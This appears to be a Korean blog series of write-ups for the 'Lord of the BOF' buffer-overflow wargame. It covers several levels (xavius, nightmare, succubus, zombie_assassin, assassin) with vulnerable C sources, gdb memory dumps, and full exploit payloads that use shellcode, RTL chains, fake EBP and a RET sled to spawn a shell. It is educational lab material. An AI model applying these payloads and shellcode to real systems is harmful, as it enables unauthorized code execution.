	fgets(buffer, 256, stdin);//입력 받음
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++; 
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

memcpy 함수를 통해 buffer+44부터 4 bytes 만큼 ret_addr에 복사한다. buffer+44 memset을 이용해 buffer부터 stack 아래까지 전부 0으로 초기화한다. 대신 ret 주소는 빼고. buffer-3000부터 buffer 전까지도 0이 저장된다.

이번엔 리턴 주소 빼고는 거의 다 0으로 초기화된다. 문제 힌트에 arg가 있는데 이 문제는 fgets로 입력받는다. fgets 함수의 인자로 사용되는 stdin을 들여다보자. stdin은 표준 입력을 의미하며 키보드로 입력받는 것이다.

xavius를 복사하여 gdb를 실행 후 main+26 위치에 break을 걸고 실행한다. hello를 입력한다.

[nightmare@localhost nightmare]$ gdb xavius2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:	push   %ebp
0x8048715 <main+1>:	mov    %ebp,%esp
0x8048717 <main+3>:	sub    %esp,44
0x804871a <main+6>:	mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:	push   %eax
0x8048720 <main+12>:	push   0x100
0x8048725 <main+17>:	lea    %eax,[%ebp-40]
0x8048728 <main+20>:	push   %eax
0x8048729 <main+21>:	call   0x8048408 <fgets>
0x804872e <main+26>:	add    %esp,12
(생략)
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xavius2 
hello

Breakpoint 1, 0x804872e in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:	0x401068c0
(gdb) x/10x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:	0xfbad2288	0x40015006	0x40015006	0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:	0x40015000	0x40015000	0x40015000	0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:	0x40015400	0x00000000
(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

fgets 함수의 인자로 제일 처음 push 되는 0x8049a3c를 들여다봤다. 0x401068c0에 들어가 본다. 보니 뭔가가 있다. 0x40015000과 0x40015006을 보니 내가 입력한 hello길이 +1만큼 차이가 난다. fgets 함수는 끝에 \x0a(개행)을 붙이기 때문이다. hello\n이 된다. 그래서 0x40015000을 들어가 보면 hello\n가 존재함을 알 수 있다.

(gdb) b *main+278
Breakpoint 2 at 0x804882a
(gdb) c
Continuing.
hello

Breakpoint 2, 0x804882a in main ()
(gdb) ni
0x400309cb in __libc_start_main (main=???, argc=???, argv=???, init=???, fini=???, 
    rtld_fini=???, stack_end=???) at ../sysdeps/generic/libc-start.c:92
92	../sysdeps/generic/libc-start.c: No such file or directory.

(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

main 함수의 ret에 break을 걸고 ret명령까지 실행 후에도 hello\n가 stdin에 남아있음을 확인했다. 그렇다면 표준 입력으로 쉘 코드를 전달하고 0x40015000으로 리턴하면 실행할 수 있을 것이다.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius 
1󿿐h//shh/bin⏓󿲒°
               ̀ 
my-pass
euid = 519
throw me away

xavius의 비밀번호는 throw me away

참고로 stdin이 EOF를 반환하기에 쉘에 대한 입력을 유지하려면 cat가 필요하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
xavius -> death_knight  (0) 2023.02.04
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

succubus / here to stay

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

이번 문제에서는 ret 주소에 strcpy의 plt 주소가 반드시 들어가야한다. buffer+40+8부터 4bytes를 'A'로 초기화하는데 buffer+40+8은 ret 주소+4의 위치다. 즉, 간단한 RET Sled를 막는다. strcpy의 plt 주소가 들어가기에 strcpy 함수를 이용해야한다.

참고로 plt와 got라는 개념이 있다.

PLT(Procedure Linkage Table): 외부 프로시저를 연결해주는 테이블로서 다른 라이브러리에 있는 프로시저를 호출한다.

GOT(Global Offset Table): PLT가 참조하는 테이블로서 프로시저들의 주소가 들어있다.

같은 파일 내의 프로시저라면 PLT가 필요없지만 외부 라이브러리의 함수를 호출할 때는 PLT가 필요하다. 링커가 PLT를 보고 함수를 찾기 때문이다.

함수(PLT)를 호출하면 GOT로 이동하는데 GOT에는 함수의 실제 주소가 있다. 첫 번째 함수 호출이면 GOT에는 함수의 주소가 없고 주소를 알아내는 과정을 거쳐서 알아낸 주소를 GOT에 저장하고 해당 함수를 호출한다. 두 번째 함수 호출부터는 GOT에 함수의 주소가 있기에 이를 바로 이용한다.

먼저 strcpy 함수를 들여다봤다.

(gdb) r `python -c 'print "A"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "A"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) p strcpy
$2 = {char *(char *, char *)} 0x400767b0 <strcpy>
(gdb) disas 0x400767b0
Dump of assembler code for function strcpy:
0x400767b0 <strcpy>:	push   %ebp
0x400767b1 <strcpy+1>:	mov    %ebp,%esp
0x400767b3 <strcpy+3>:	push   %esi
0x400767b4 <strcpy+4>:	mov    %esi,DWORD PTR [%ebp+8]
0x400767b7 <strcpy+7>:	mov    %edx,DWORD PTR [%ebp+12]
0x400767ba <strcpy+10>:	mov    %eax,%esi
(생략)

strcpy는 ebp+8, ebp+12 위치의 인자 2개를 이용한다. strcpy(dest,src)형태로 사용하는데 src에 저장된 문자열을 dest로 복사한다. 따라서 payload 일부만 표현하자면 다음과 같은 형태가 될 것이다.

buffer sfp ret addr(strcpy plt) AAAA dest src

이제 strcpy를 이용해 dest에 문자열을 저장할 수 있게 된 것이다. 또한 strcpy 함수 실행 후에 AAAA가 위치한 주소에 함수의 주소를 저장한다면 해당 함수가 호출될 것이다. 그 함수의 주소는 바로 쉘 코드의 주소라면 쉘 코드가 실행될 것이다.

이를 위해 buffer에 쉘 코드의 주소를 넣고 src에 buffer의 주소를 전달한다. dest는 AAAA의 주소(ret addr+4)를 전달한다. 쉘 코드는 환경 변수로 저장한다. 이제 모두 준비됐다.

0x8048721 <main+109>:	push   %eax
0x8048722 <main+110>:	call   0x8048410 <strcpy>
0x8048727 <main+115>:	add    %esp,8

우선 disas main을 통해 strcpy의 plt가 0x8048410임을 알 수 있다.

[succubus@localhost succubus]$ gdb nightmare2 -q 
(gdb) b main
Breakpoint 1 at 0x80486ba
(gdb) b *main+115
Breakpoint 2 at 0x8048727
(gdb) r `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048727 in main ()
(gdb) x/30x $ebp-48       
0xbffff9f8:	0xbffffb8d	0x08048410	0x41414141	0x42424242
0xbffffa08:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa18:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa28:	0x43434343	0x08048410	0x61616161	0x44444444
0xbffffa38:	0x53535353	0x40013800	0x00000002	0x08048420
0xbffffa48:	0x00000000	0x08048441	0x080486b4	0x00000002
0xbffffa58:	0xbffffa74	0x08048350	0x0804877c	0x4000ae60

형태를 갖춰서 payload를 전달했다. buffer의 주소는 0xbffffa00이다. ret+4의 주소는 0xbffffa30이다.

쉘 코드를 환경 변수로 설정하고 주소를 구하자.

//쉘 코드를 환경 변수로 설정
[succubus@localhost succubus]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
// 쉘 코드 주소 구하는 코드
#include <stdio.h>
int main(){
        printf("%p\n",getenv("sh"));
}
//쉘 코드 주소
[succubus@localhost succubus]$ ./getenv 
0xbffffe8d

지금까지 알아낸 것들로 payload를 전달했다.

"AAAA" : dummy

0xbffffe8d : 쉘 코드 주소

"B"*36 : dummy

0x8048410 : strcpy@plt

"aaaa" : dummy

0xbffffa30 : ret+4("aaaa"주소)

0xbffffa04 : 쉘 코드 주소가 저장된 주소(buffer 내부의 0xbffffe8d 값 주소)

[succubus@localhost succubus]$ ./nightmare `python -c 'print "AAAA"+"\x8d\xfe\xff\xbf"+"B"*36+"\x10\x84\x04\x08"+"aaaa"+"\x30\xfa\xff\xbf"+"\x04\xfa\xff\xbf"'`
AAAAþÿ¿BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBaaaa0󽅺ÿ¿
bash$ my-pass
euid = 518
beg for me

왜 굳이 버퍼에 AAAA넣고 쉘 코드 주소를 넣었나?

버퍼 시작 주소에 쉘 코드를 넣고 문제를 풀다보니 core dumped가 발생하고 버퍼 시작 주소가 0xbffffa00로 바꼈다. 근데 0x00이 문제를 일으키는거 같다. 앞에 AAAA를 넣고 풀면 쉽게 풀린다.

nightmare의 비밀번호는 beg for me

참고로 쉘 코드를 환경변수로 등록하는 방식말고 argv[1]의 인자로 쉘 코드를 전달하는 방식도 가능하다. 이 경우는 payload 형태가 다음과 같다.

"A"*44 + strcpy주소(0x8048410) + "A"*4 + 바로 앞의 "A"*4 주소 + 바로 뒤의 쉘 코드 주소의 주소 + 쉘 코드 주소 + 쉘 코드

이렇게 argv[1]의 인자로 전달해도 main 함수 종료 시 strcpy가 호출되며 쉘 코드 주소가 "A"*4 위치에 저장된다. strcpy 종료시 쉘 코드 주소로 ret 명령이 실행되어 쉘 코드가 실행된다.

[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\x6c\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?퓄?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me
bash$ exit
exit
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\xfc\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?웠?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me

첫 번째 경우는 main 함수 내의 stcpy 호출 시 버퍼 근처에 남아있는 쉘 코드의 주소를 이용하는 방식이고 두 번째 경우는 argv[1] 인자로 전달된 쉘 코드의 주소를 이용하는 방식이다. 푸는 방식은 다양하다.

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
728x90

zombie_assassin / no place to hide

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

DO 함수의 주소를 argv[1][44]~[47]까지 비교하고 있다. 함수 주소를 argv[1]에서 충분히 넘겨줄 수 있도록 buffer+48+100부터 0으로 초기화해 주는 것을 볼 수 있다. check 변수도 조건을 충족하려면 결국 DO부터 MO까지 거쳐가야 system 함수를 실행할 수 있다. 그리고 MO 함수 인자로 "/bin/sh"을 넘겨줘야한다. system 함수의 인자가 되기 때문이다.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus2 -q
(gdb) p MO
$1 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) p YUT
$2 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p GYE
$4 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p DO
$5 = {<text variable, no debug info>} 0x80487ec <DO>

DO ~ MO까지 함수의 주소를 찾았다.

(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>:	push   %ebp
0x8048725 <MO+1>:	mov    %ebp,%esp
(생략)
0x804874d <MO+41>:	mov    %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>:	push   %eax
0x8048751 <MO+45>:	call   0x804840c <system>

system 함수의 인자로 ebp+8에 있는 값이 들어가고 있다.

(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
Starting program: /home/zombie_assassin/succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`

(gdb) x/200x $ebp
(생략)
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe8:	0x41414141	0x41414141	0x080487ec	0x080487bc
0xbffffbf8:	0x0804878c	0x0804875c	0x08048724	0x42424242
0xbffffc08:	0x43434343	0x6e69622f	0x0068732f	0x3d445750
0xbffffc18:	0x6d6f682f	0x6f7a2f65	0x6569626d	0x7373615f

0xbffffc0c에 "/bin/sh"가 위치하고 있다. "CCCC"는 MO 함수의 인자이자 system 함수의 인자 대신 대입한 것이다. 그리고 MO 함수 어셈블리 코드에서 ebp+8 위치의 인자를 system 함수가 받아들인다 했기에 "/bin/sh"의 주소값 0xbffffc0c를 "CCCC" 자리에 대체할 것이다.

참고로 이전까진 코드를 짜서 "/bin/sh"의 주소를 알아냈었는데 주소엔 늘 \x40이 존재했다. 이 문제에선 \x40을 strchr 함수를 통해 필터링 하고 있기에 직접 "/bin/sh"를 argv[1]의 인자에 전달해서 "/bin/sh"의 주소를 찾아서 MO 함수 인자로 전달하는 것이다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x0c\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
                                                񮡩n/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffffa94:	0xbffffc0c	0x6e69622f	0x0068732f	0x08048808
0xbffffaa4:	0x00000002	0xbffffac4	0x0804839c	0x0804894c
0xbffffab4:	0x4000ae60	0xbffffabc	0x40013e90	0x00000002
0xbffffac4:	0xbffffbbe	0xbffffbca	0x00000000	0xbffffc1a
0xbffffad4:	0xbffffc34	0xbffffc4c	0xbffffc6b	0xbffffc8d
buffer sfp DO GYE GUL YUT MO dummy 0xbffffc0c "/bin/sh"

위 구조에서 DO ~ MO까지 차례로 ret하고 ebp+8에 인자가 필요하기에 dummy 하나 넣고 "/bin/sh"의 주소인 0xbffffc0c를 대입 후 MO 함수 인자로 쓰기 위해 "/bin/sh" 문자열을 직접 대입한다. 왜 DO부터 MO까지 실행되는지는 RTL Chain을 안다면 쉽게 이해될 것이다.

DO 함수 실행 후 GYE가 실행되는 과정을 간단히 살펴보면 DO 함수로 ret가 발생하여 스택에서 DO 함수 주소는 제거될 것이다. DO 함수의 프롤로그 과정에서 push ebp와 mov ebp, esp가 발생 후 에필로그 과정에서 leave 명령 실행 시 push 했던 ebp가 제거되고 ret 명령 실행 시 GYE 함수 주소로 리턴된다.

payload를 전달했는데 core dumped가 발생하여 보니 주소가 바뀌어 있다. 0xbffffc0c가 아닌 0xbffffa98에 "/bin/sh"가 존재한다. 이것만 수정하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB󽮢in/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay

succubus의 비밀번호 here to stay

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
728x90

assassin / pushing me away

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}

문제 힌트에 FEBP가 주어져있다. FEBP란 Fake EBP를 의미한다.

fake ebp란 ebp를 변조해서 프로그램 실행 흐름을 조작하는 기법이다. 지금처럼 ret 주소뒤에 덮어쓸 수 없을 때 사용하면 된다.

main 함수에서 에필로그 과정에서 ret 명령 실행 시 leave 명령어의 주소로 다시 이동하여 에필로그 과정을 한 번 더 수행하는 방식이다. main 함수 스택의 sfp에 쉘 코드 주소의 주소 - 4를 저장한다. 리턴 주소를 leave 명령어의 주소로 설정하여 다시 에필로그 과정을 수행한다. leave 명령의 mov esp, ebp로 인해 esp엔 쉘 코드 주소의 주소 - 4가 저장된다. 그리고 pop ebp를 수행하기 때문에 esp는 4 증가한다. esp는 이제 쉘 코드 주소의 주소가 되었다. 이제 ret 명령을 실행한다. pop eip, jmp eip이기 때문에 쉘 코드 주소가 eip에 저장되고 쉘 코드 주소로 점프한다. 마침내 쉘 코드가 실행된다.

우선 buffer의 주소를 알아보자. zombie_assassin을 복사하여 gdb를 실행한다. main+139에 break point를 걸고 실행하였다.

[assassin@localhost assassin]gdb zombie_assassin2 -q
(gdb) b main
Breakpoint 1 at 0x8048446
(gdb) b *main+139
Breakpoint 2 at 0x80484cb
(gdb) r `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`
Starting program: /home/assassin/zombie_assassin2 `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`

(gdb) disas main
(생략)
0x80484d7 <main+151>:	call   0x8048354 <printf>
0x80484dc <main+156>:	add    $0x8,%esp
0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret    
0x80484e1 <main+161>:	nop    

Breakpoint 1, 0x8048446 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484cb in main ()
(gdb) x/30x $esp
0xbffffa04:	0xbffffa10	0xbffffb97	0x00000030	0x41414141
0xbffffa14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa34:	0x90909090	0x42424242	0x43434343	0x00000002
0xbffffa44:	0xbffffa84	0xbffffa90	0x40013868	0x00000002
(생략)
(gdb) x/150x $ebp
(생략)
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x42909090	0x43424242	0x90434343
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x44909090	0x44444444	0x44444444	0x44444444
0xbffffc38:	0x44444444	0x44444444	0x44444444	0x44575000

A: 쉘 코드의 주소 (0xbffffbe8)
B: buffer의 주소-4 (0xbffffa0c)
C: ret 주소 (0x80484df)
D: 쉘 코드

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\xe8\xfb\xff\xbf"+"\x90"*36+"\x0c\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*100+"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
鼿¿ 
   ߄ 
bash$ my-pass
euid = 516
no place to hide

zombie_assassin 비밀번호 no place to hide

참고로 argv[1] 공간을 이용해서 풀었는데 buffer 공간에 쉘 코드를 저장해서 푸는 것도 가능하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
728x90

giant / one step closer

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

retn 주소를 stack 영역 또는 공유 라이브러리 영역으로 덮어쓰는 것을 방지하고 있다. 또한 buffer부터 sfp까지 0으로 초기화하는 것을 알 수 있다. 이번엔 RET Sled를 사용해 본다.

RET Sled란 retn 주소에 ret 명령어의 주소를 넣어서 retn 주소가 저장되는 공간의 아래 위치에 호출할 함수를 넣는 것이다.

<기존의 stack 구조>

buffer
sfp
retn 주소
argc
argv addr

<RET Sled 스택 구조>

buffer
sfp
retn 주소
(retn 명령어)
system 함수 주소
dummy
system 함수 인자
("/bin/sh")

retn 주소에 assassin 코드의 main 함수 에필로그 부분의 retn 명령어의 주소로 설정하면 다시 retn을 실행할 것이다. retn 과정은 pop eip, jmp eip이므로 결국 +4 주소에 위치한 system 함수 주소로 이동하여 system("/bin/sh")를 실행하는 것이다.

원래 dummy 자리는 다음 호출할 함수의 주소이지만 다음에 호출할 함수가 없기에 dummy를 넣는다. 또한 system 함수가 ebp+8부터 인자를 받기에 dummy가 필요하다.

retn 명령어 주소, system 함수 주소와 "/bin/sh" 주소 찾는 것은 이전 문제들에서 이미 진행했다.

<retn 명령어 주소>

0x8048515 <main+165>:	call   0x8048398 <memset>
0x804851a <main+170>:	add    $0xc,%esp
0x804851d <main+173>:	leave  
0x804851e <main+174>:	ret    
0x804851f <main+175>:	nop    
End of assembler dump.

<system 함수 주소>

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

<"/bin/sh" 문자열 주소>

[giant@localhost giant]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh, "/bin/sh",8))
		sh++;
	printf("%p\n",sh);
}
[giant@localhost giant]$ ./getaddr
0x400fbff9
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 515
pushing me away

assassin의 비밀번호는 pushing me away

 

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
728x90

bugbear / new divide

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

execve함수를 반드시 실행해야 한다.

execve 함수 형태는 다음과 같다.

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

pathname에 파일명을 넣고, argv에는 파일명이 저장된 배열의 주소를 넣어야 한다.

사용 방식은 다음과 같다.

#include <unistd.h>
int main(){
	char* argv[2]={"/bin/sh",NULL};
    	execve("/bin/sh",argv,NULL);
}

이 문제에선 execve 함수의 두 번째 인자인 argv에 전달할 값을 모른다. 따라서 execve 함수를 호출 후 종료하고 system 함수를 호출하며 "/bin/sh"을 전달하는 방식으로 해결할 것이다. 이전 bugbear 문제는 RTL방식이었다면 이번엔 함수를 연달아 호출하는 RTL Chain 방식이다.

